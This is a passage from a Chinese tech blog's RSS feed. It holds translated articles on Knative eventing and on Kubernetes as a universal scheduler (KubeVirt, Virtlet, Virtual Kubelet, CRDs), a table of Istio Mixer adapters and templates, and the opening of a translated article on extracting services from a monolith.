&lt;li&gt;&lt;strong&gt;Channel&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;发布/订阅模型中发布者发送消息的目标。一般来说，Channel 是一组位置用于获取或存储事件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bus&lt;/strong&gt;：Channel 的后端。这是为事件提供消息平台支持的底层，可以是 Google Cloud PubSub、Apache Kafka 以及 RabbitMQ 等。&lt;/li&gt;
&lt;li&gt;这些结合起来告知 Knative 服务，特定 Channel 的消息会被哪个应用或者 Function 消费。这是应用和 Function 的入口地址。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feeds&lt;/strong&gt;：事件携带的附件。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;images/88636989-danb3.png&#34; alt=&#34;eventing&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;试用你能掌控的最高级抽象&#34;&gt;试用你能掌控的最高级抽象&lt;/h2&gt;

&lt;p&gt;Knative 是一个全新事物，但是已经有了很多资源可供学习和参考。企业开发软件数量暴涨，意味着典型情况下，公司都会谋求试用应用平台、容器编排以及 Function。Pivotal 希望在所有不同抽象中驱动开源软件的发展。Cloud Foundry、Kubernetes 以及 Knative 会成为大公司的软件构建和运行过程中的主要推手。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/knative/docs&#34; target=&#34;_blank&#34;&gt;Knative 文档&lt;/a&gt;是该项目的主要信息源。每个组件都在仓库中有自己的一席之地，让用户可以跟进最新进展。&lt;/li&gt;
&lt;li&gt;可以阅读 &lt;a href=&#34;https://content.pivotal.io/blog&#34; target=&#34;_blank&#34;&gt;Pivotal 博客&lt;/a&gt;，Ryan Morgan 在其中发布了关于 Pivotal 在 Knative 项目中贡献的相关内容，会涉及企业应用 Serverless 的更多案例。&lt;/li&gt;
&lt;li&gt;在 Google Cloud 也有很多资料：

&lt;ul&gt;
&lt;li&gt;Knative &lt;a href=&#34;https://cloud.google.com/knative&#34; target=&#34;_blank&#34;&gt;概览页面&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Knative &lt;a href=&#34;https://cloudplatform.googleblog.com/2018/07/bringing-the-best-of-serverless-to-you.html&#34; target=&#34;_blank&#34;&gt;博客&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;如果想要知道 &lt;a href=&#34;https://projectriff.io/&#34; target=&#34;_blank&#34;&gt;riff 项目&lt;/a&gt; 的信息，官方网站是最好的起步地点。其中包含了所有的文档和对 &lt;a href=&#34;https://github.com/projectriff/riff&#34; target=&#34;_blank&#34;&gt;riff 仓库&lt;/a&gt;的引用。&lt;/li&gt;
&lt;li&gt;想要了解更多？&lt;a href=&#34;https://springoneplatform.io/2018/sessions&#34; target=&#34;_blank&#34;&gt;SpringOne 平台有一套 Serverless 课程&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 如何走向统一调度之路</title>
      <link>/post/how-k8s-transforming-into-scheduler/</link>
      <pubDate>Tue, 18 Sep 2018 22:04:06 +0800</pubDate>
      <guid>/post/how-k8s-transforming-into-scheduler/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://thenewstack.io/how-kubernetes-is-transforming-into-a-universal-scheduler/&#34; target=&#34;_blank&#34;&gt;How Kubernetes Is Transforming into a Universal Scheduler&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://thenewstack.io/author/janakiram/&#34; target=&#34;_blank&#34;&gt;Janakiram MSV&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;计算机科学里，调度指的是一种能够为作业分配满足其执行所需资源的方法。IBM 在 60 年代的 S/360 中首次提出这一概念，可以说是年代久远了。&lt;/p&gt;

&lt;p&gt;对所有存在资源需求的作业来说，调度都是至关重要的。在操作系统的上下文中，作业可能是个简单的程序，资源可能是 CPU 核心。类似的，操作系统中的调度器可能就只是一些用于操作线程或信号的代码。&lt;/p&gt;

&lt;p&gt;分布式计算将调度器的疆土从内部的进程和线程扩展到了物理机集群之中。90 年代中，Corba、DCOM 以及 J2EE 等分布式平台应运而生，在应用服务器集群内发展了各自的调度组件。&lt;/p&gt;

&lt;p&gt;再后来，出现了 Amazon EC2、Azure Fabric 以及 OpenStack Nova 这样的 IaaS 平台，这些平台的控制平面完成了对运行于物理机基础之上的虚拟机的调度工作。根据资源需求将虚拟机实例安置在合适的物理机上。&lt;/p&gt;

&lt;p&gt;基于 Apache Hadoop 和 MapReduce 算法的大数据工作负载对调度算法非常依赖。Hadoop 的文件系统 HDFS 就用于保障集群上的节点能够访问到数据集。这一架构聚焦于资源的的稳定性和可用性保障。&lt;/p&gt;

&lt;p&gt;Cloud Foundry 和 Heroku 这样的 PaaS 实现中包含了设计精密的调度逻辑，用来为服务提供隔离的环境。每个服务都被打包，部署在虚拟或物理服务器的执行环境之中。&lt;/p&gt;

&lt;p&gt;横空出世的容器，强迫业界重新审视资源调度器的设计。新一代调度器的设计理念更加重视简单性和伸缩性。传统应用服务器面对的是少量服务器，而容器管理平台要管理的容器工作节点数量可能从几台到几千台。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/15fb358d-k8s-sched-0.jpg&#34; alt=&#34;几种不同的调度器&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes 和 Mesosphere 是当代资源调度器的代表。它们的设计对底层基础设施进行了抽象，用透明的方式为用户提供调度服务。&lt;/p&gt;

&lt;h2 id=&#34;kubernetes-中的调度&#34;&gt;Kubernetes 中的调度&lt;/h2&gt;

&lt;p&gt;Kubernetes 平台中，调度器是一个关键组件。它在主节点上运行，和 API Server 以及 Controller 紧密合作。调度器的核心任务就是对 Pod 和 Node 进行撮合。可以在 &lt;a href=&#34;https://thenewstack.io/kubernetes-an-overview/&#34; target=&#34;_blank&#34;&gt;Kubernetes architecture&lt;/a&gt; 一文中透彻的了解其架构。&lt;/p&gt;

&lt;p&gt;调度器会在多个方面对可用资源进行评估，从而为 Pod 分配合适的节点。另外还可以通过对节点亲和性的设置，为 Pod &lt;a href=&#34;https://kubernetes.io/blog/2017/03/advanced-scheduling-in-kubernetes/&#34; target=&#34;_blank&#34;&gt;分配指定特性的节点&lt;/a&gt;。例如一个一个高 IO 的数据库 Pod 可能需要调度到配有 SSD 存储的节点上。还有可能为了降低延迟，将一系列的 Pod 调度到同一节点上，这一操作称为 Pod 亲和性。Kubernetes 还支持自定义调度器，完全由第三方实现分配逻辑。&lt;/p&gt;

&lt;p&gt;Kubernetes 调度器的最大亮点就是其简单性。前面描述的多数策略都能很轻松的实现。只要通过一点注解和标签，就能完成 Pod 和节点之间的亲和或排斥的定义。通过对 Pod 和节点的键值对设置就能够实现成熟的调度逻辑。&lt;/p&gt;

&lt;h2 id=&#34;超越-pod-和节点的-kubernetes-调度器&#34;&gt;超越 Pod 和节点的 Kubernetes 调度器&lt;/h2&gt;

&lt;p&gt;Kubernetes 可能是目前最好的资源调度器之一。兼顾简单和扩展能力的调度器让用户能够解决很多传统分布式系统中的调度问题。&lt;/p&gt;

&lt;p&gt;在高度分布的环境中，Kubernetes 正在成为首选的作业调度和管理工具。这些作业包括在物理服务器上部署虚拟机、在边缘设备上运行容器，甚至还具有将控制平面扩展到 Serverless 环境这样的其他调度器上的能力。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://kubevirt.io/&#34; target=&#34;_blank&#34;&gt;KuberVirt&lt;/a&gt; 就是一个 Kubernetes 上的虚拟机管理插件，它让用户能够像 Pod 一样在 Kubernetes 或 OpenShift 集群上运行虚拟机。这一系统用 &lt;a href=&#34;https://kubernetes.io/docs/concepts/api-extension/custom-resources/#customresourcedefinitions&#34; target=&#34;_blank&#34;&gt;CRD&lt;/a&gt; 的形式来进行虚拟机的设置，完成了对 Kubernetes 的扩展。KubeVirt 虚拟机运行在普通的 Kubernetes Pod 之内，从而具有了访问标准 Pod 网络和存储的能力，并且可以使用标准的 &lt;code&gt;kubectl&lt;/code&gt; 或者类似的 Kubernetes 工具来进行管理。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/d4c17aba-k8s-scheduler-1.png&#34; alt=&#34;KubeVirt&#34; /&gt;&lt;/p&gt;

&lt;p&gt;来自 Mirantis 的 &lt;a href=&#34;https://github.com/Mirantis/virtlet&#34; target=&#34;_blank&#34;&gt;Virtlet&lt;/a&gt; 项目让虚拟机可以在 Kubernetes 集群中像普通 Pod 一样运行。运维人员可以用 &lt;code&gt;kubectl&lt;/code&gt; 命令管理虚拟机，并且将虚拟机以一等公民的身份纳入集群网络。有了 Virtlet 就可以构建高级的 Kubernetes 对象，例如 Deployment、Statefulset 或者 DaemonSet。&lt;/p&gt;

&lt;p&gt;微软的 &lt;a href=&#34;https://github.com/virtual-kubelet/virtual-kubelet&#34; target=&#34;_blank&#34;&gt;Virtual Kubelet&lt;/a&gt; 是最有趣的一个调度器。Virtual Kubelet 是一个 Agent，运行在注册为 Kubernetes 集群节点的外部环境之中。这个 Agent 会通过 Kubernetes API 创建节点资源。通过对&lt;a href=&#34;https://kubernetes.io/docs/concepts/configuration/taint-and-toleration/&#34; target=&#34;_blank&#34;&gt;污染和隔离&lt;/a&gt;功能的使用，会通过本地 API 来进行外部环境中的 Pod 调度。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/1cd893e9-k8s-scheduler-2.jpg&#34; alt=&#34;Virtual Kubelet&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Virtual Kubelet 可以在 &lt;a href=&#34;https://azure.microsoft.com/en-us/services/container-instances/&#34; target=&#34;_blank&#34;&gt;Azure Container Instance&lt;/a&gt;、&lt;a href=&#34;https://azure.microsoft.com/en-us/services/iot-edge/&#34; target=&#34;_blank&#34;&gt;Azure IoT Edge&lt;/a&gt; 以及 &lt;a href=&#34;https://aws.amazon.com/fargate/&#34; target=&#34;_blank&#34;&gt;AWS Fargate&lt;/a&gt; 上运行。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/25822176-k8s-scheduler-3.png&#34; alt=&#34;Virtual Kubelet on Azure Container &#34; /&gt;&lt;/p&gt;

&lt;p&gt;另外，我还写过其他文章，介绍了 Virtual Kubelet 的&lt;a href=&#34;https://thenewstack.io/lightning-fast-container-provisioning-with-microsofts-azure-container-instances/&#34; target=&#34;_blank&#34;&gt;架构&lt;/a&gt;和&lt;a href=&#34;https://thenewstack.io/explore-multicloud-deployments-aci-connector-kubernetes/&#34; target=&#34;_blank&#34;&gt;部署指南&lt;/a&gt;，可供读者参考。&lt;/p&gt;

&lt;h2 id=&#34;更进一步-自定义调度器和-crd&#34;&gt;更进一步——自定义调度器和 CRD&lt;/h2&gt;

&lt;p&gt;上面讨论的例子只是冰山一角。Kubernetes 正在成为当代基础设施的基础，正在迈入传统业务应用领域——例如 ERP 和 CRM。&lt;/p&gt;

&lt;p&gt;应用提供商们将会越来越重的依赖 Kubernetes 的两个功能：自定义调度器和 CRD。&lt;/p&gt;

&lt;p&gt;正如前文所说，Kubernetes 的自定义调度器让开发者可以实现自己的调度逻辑。Pod 的声明中就可以通知控制面跳过缺省调度器，转而采用自定义调度。这一机制能够保障集群内的 Pod 得到正确安置。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://portworx.com/&#34; target=&#34;_blank&#34;&gt;Portworx&lt;/a&gt; 是一个云原生生存储公司，它使用自定义调度器来创建 &lt;a href=&#34;https://portworx.com/stork-storage-orchestration-kubernetes/&#34; target=&#34;_blank&#34;&gt;STORK&lt;/a&gt;（Kubernetes 存储编排运行时：STorage Orchestrator Runtime for Kubernetes）。从而保障它的 Stateful Pod 只会在安装了 Portworx 驱动和存储的节点上运行。这一功能对于运行其上的数据库负载的可用性保障很有帮助。&lt;/p&gt;

&lt;p&gt;Kubernetes 中的 CRD 为自定义对象提供了简单且强大的生命周期支持。自定义资源是一种对象，对 Kubernetes API 进行了扩展，开发人员可以利用这一机制将自己的 API 引入 Kubernetes。CRD 文件声明了自定义对象的定义，让 API Server 能够处理整个生命周期。在 Kubernetes 中部署 CRD，就是让 Kubernetes API Server 开始支持某种自定义资源。&lt;/p&gt;

&lt;p&gt;CRD 创建之后，运维人员可以使用 &lt;code&gt;kubectl&lt;/code&gt; 或者第三方工具来进行管理，这一过程和 Pod 等内置对象并无二致。ISV 可以利用 CRD 的方式将自己的软件进行打包和部署。&lt;/p&gt;

&lt;p&gt;Kubernetes 的扩展性，使其具备了成为统一调度管理工具的潜质。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Istio 适配器模板列表</title>
      <link>/post/adapter-relations/</link>
      <pubDate>Sat, 08 Sep 2018 20:54:09 +0800</pubDate>
      <guid>/post/adapter-relations/</guid>
      <description>&lt;p&gt;Istio Mixer 是 Istio 和其他基础设施的沟通桥梁，其中的具体实现是通过适配器进行的，请求经过 Mixer 时候会使用模板进行处理，生成适配器所需的输入内容。根据 Istio 的对象参考，总结了一份适配器和模板的关系表，希望对 Mixer 用户能有所助益。&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;适配器&lt;/th&gt;
&lt;th&gt;Kind&lt;/th&gt;
&lt;th&gt;模板&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/apigee/&#34; target=&#34;_blank&#34;&gt;Apigee&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;apigee&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/authorization/&#34; target=&#34;_blank&#34;&gt;authorization&lt;/a&gt;，&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/analytics/&#34; target=&#34;_blank&#34;&gt;analytics&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://docs.apigee.com/api-platform/istio-adapter/concepts&#34; target=&#34;_blank&#34;&gt;APIGee&lt;/a&gt; 提供的用于认证、配额以及分析功能接口&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/circonus/&#34; target=&#34;_blank&#34;&gt;Circonus&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;circonus&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/metric/&#34; target=&#34;_blank&#34;&gt;metric&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;用于 &lt;a href=&#34;https://www.circonus.com/&#34; target=&#34;_blank&#34;&gt;Circonus&lt;/a&gt; 监控系统接入的适配器&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/cloudmonitor/&#34; target=&#34;_blank&#34;&gt;CloudMonitor&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cloudmonitor&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/metric/&#34; target=&#34;_blank&#34;&gt;metric&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://cloudmonitor.console.aliyun.com/&#34; target=&#34;_blank&#34;&gt;阿里云监控&lt;/a&gt;适配器&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/cloudwatch/&#34; target=&#34;_blank&#34;&gt;CloudWatch&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cloudwatch&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/metric/&#34; target=&#34;_blank&#34;&gt;metric&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://aws.amazon.com/cloudwatch/&#34; target=&#34;_blank&#34;&gt;Amazon CloudWatch&lt;/a&gt; 监控适配器&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/datadog/&#34; target=&#34;_blank&#34;&gt;Datadog&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;dogstatsd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/metric/&#34; target=&#34;_blank&#34;&gt;metric&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;向 &lt;a href=&#34;https://www.datadoghq.com/&#34; target=&#34;_blank&#34;&gt;Datadog&lt;/a&gt; 代理发送监控指标的适配器&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/denier&#34; target=&#34;_blank&#34;&gt;Denier&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;denier&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/checknothing/&#34; target=&#34;_blank&#34;&gt;checknothing&lt;/a&gt;，&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/listentry/&#34; target=&#34;_blank&#34;&gt;listentry&lt;/a&gt;，&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/quota/&#34; target=&#34;_blank&#34;&gt;quota&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;用于在前置检查过程中返回一个指定的拒绝信息和错误码&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/fluentd/&#34; target=&#34;_blank&#34;&gt;Fluentd&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;fluentd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/logentry/&#34; target=&#34;_blank&#34;&gt;logentry&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;向 Fluentd 发送日志&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/kubernetesenv/&#34; target=&#34;_blank&#34;&gt;Kubernetes Env&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kubernetesenv&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/kubernetes/&#34; target=&#34;_blank&#34;&gt;kubernetesenv&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;从 Kubernetes 环境中取出信息生成 Istio 属性数据&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/list/&#34; target=&#34;_blank&#34;&gt;List&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;list&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/listentry/&#34; target=&#34;_blank&#34;&gt;listentry&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;可以用来进行简单的列表检查&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/memquota/&#34; target=&#34;_blank&#34;&gt;Memory quota&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;memquota&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/quota/&#34; target=&#34;_blank&#34;&gt;quota&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;为 Istio 提供配额支持&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/opa/&#34; target=&#34;_blank&#34;&gt;OPA&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;opa&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/authorization/&#34; target=&#34;_blank&#34;&gt;authorization&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;基于 &lt;a href=&#34;http://www.openpolicyagent.org/&#34; target=&#34;_blank&#34;&gt;Open Policy Agent&lt;/a&gt; 的访问控制支持&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/prometheus/&#34; target=&#34;_blank&#34;&gt;Prometheus&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;prometheus&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/metric/&#34; target=&#34;_blank&#34;&gt;metric&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;用于向 Prometheus 发送监控指标&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/rbac/&#34; target=&#34;_blank&#34;&gt;RBAC&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rbac&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/authorization/&#34; target=&#34;_blank&#34;&gt;authorization&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;为网格中的服务提供基于角色的访问控制支持能力&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/redisquota/&#34; target=&#34;_blank&#34;&gt;Redis Quota&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;redisquota&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/quota/&#34; target=&#34;_blank&#34;&gt;quota&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;为 Istio 提供配额支持，需要 Redis 服务进行分布处理&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/servicecontrol/&#34; target=&#34;_blank&#34;&gt;Service Control&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;servicecontrol&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/servicecontrolreport/&#34; target=&#34;_blank&#34;&gt;servicecontroller&lt;/a&gt;，&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/quota/&#34; target=&#34;_blank&#34;&gt;quota&lt;/a&gt;，&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/apikey/&#34; target=&#34;_blank&#34;&gt;apikey&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;向 &lt;a href=&#34;https://cloud.google.com/service-control&#34; target=&#34;_blank&#34;&gt;Google Service Control&lt;/a&gt; 发送日志和指标&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/signalfx/&#34; target=&#34;_blank&#34;&gt;SignalFx&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;signalfx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/metric/&#34; target=&#34;_blank&#34;&gt;metric&lt;/a&gt;，&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/tracespan/&#34; target=&#34;_blank&#34;&gt;tracespan&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;为 &lt;a href=&#34;https://signalfx.com/&#34; target=&#34;_blank&#34;&gt;SignalFX&lt;/a&gt; 提供指标和跟踪数据&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/solarwinds/&#34; target=&#34;_blank&#34;&gt;SolarWinds&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;solarwinds&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/metric/&#34; target=&#34;_blank&#34;&gt;metric&lt;/a&gt;，&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/logentry/&#34; target=&#34;_blank&#34;&gt;logentry&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;分别向 &lt;a href=&#34;https://www.papertrailapp.com/&#34; target=&#34;_blank&#34;&gt;Papertrail&lt;/a&gt; 日志后端 and the &lt;a href=&#34;https://www.appoptics.com/&#34; target=&#34;_blank&#34;&gt;AppOptics&lt;/a&gt; 监控后端发送日志和指标数据&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/stackdriver/&#34; target=&#34;_blank&#34;&gt;Stackdriver&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;stackdriver&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/metric/&#34; target=&#34;_blank&#34;&gt;metric&lt;/a&gt;，&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/logentry/&#34; target=&#34;_blank&#34;&gt;logentry&lt;/a&gt;，&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/tracespan/&#34; target=&#34;_blank&#34;&gt;tracespan&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;为 &lt;a href=&#34;https://cloud.google.com/stackdriver/&#34; target=&#34;_blank&#34;&gt;StackDriver&lt;/a&gt; 提供日志、指标和跟踪数据&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/statsd/&#34; target=&#34;_blank&#34;&gt;StatsD&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;statsd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/metric/&#34; target=&#34;_blank&#34;&gt;metric&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;为 statsd 提供指标数据&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/adapters/stdio/&#34; target=&#34;_blank&#34;&gt;Stdio&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;stdio&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/metric/&#34; target=&#34;_blank&#34;&gt;metric&lt;/a&gt;，&lt;a href=&#34;https://preliminary.istio.io/docs/reference/config/policy-and-telemetry/templates/logentry/&#34; target=&#34;_blank&#34;&gt;logentry&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;在本机输出日志或指标数据&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</description>
    </item>
    
    <item>
      <title>如何从单体应用中拆分富数据服务</title>
      <link>/post/extract-from-monolith/</link>
      <pubDate>Tue, 04 Sep 2018 15:48:42 +0800</pubDate>
      <guid>/post/extract-from-monolith/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://martinfowler.com/articles/extract-data-rich-service.html&#34; target=&#34;_blank&#34;&gt;How to extract a data-rich service from a monolith&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://computellect.com/&#34; target=&#34;_blank&#34;&gt;Praful Todkar&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;关于作者：Praful Todkar 是 ThoughtWorks 的首席顾问，专门构建大型分布式商业软件系统。软件的构建过程中，他乐于在尽快实现商业价值的目标下，为复杂问题创建简单、优雅的解决方案。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;

&lt;blockquote&gt;
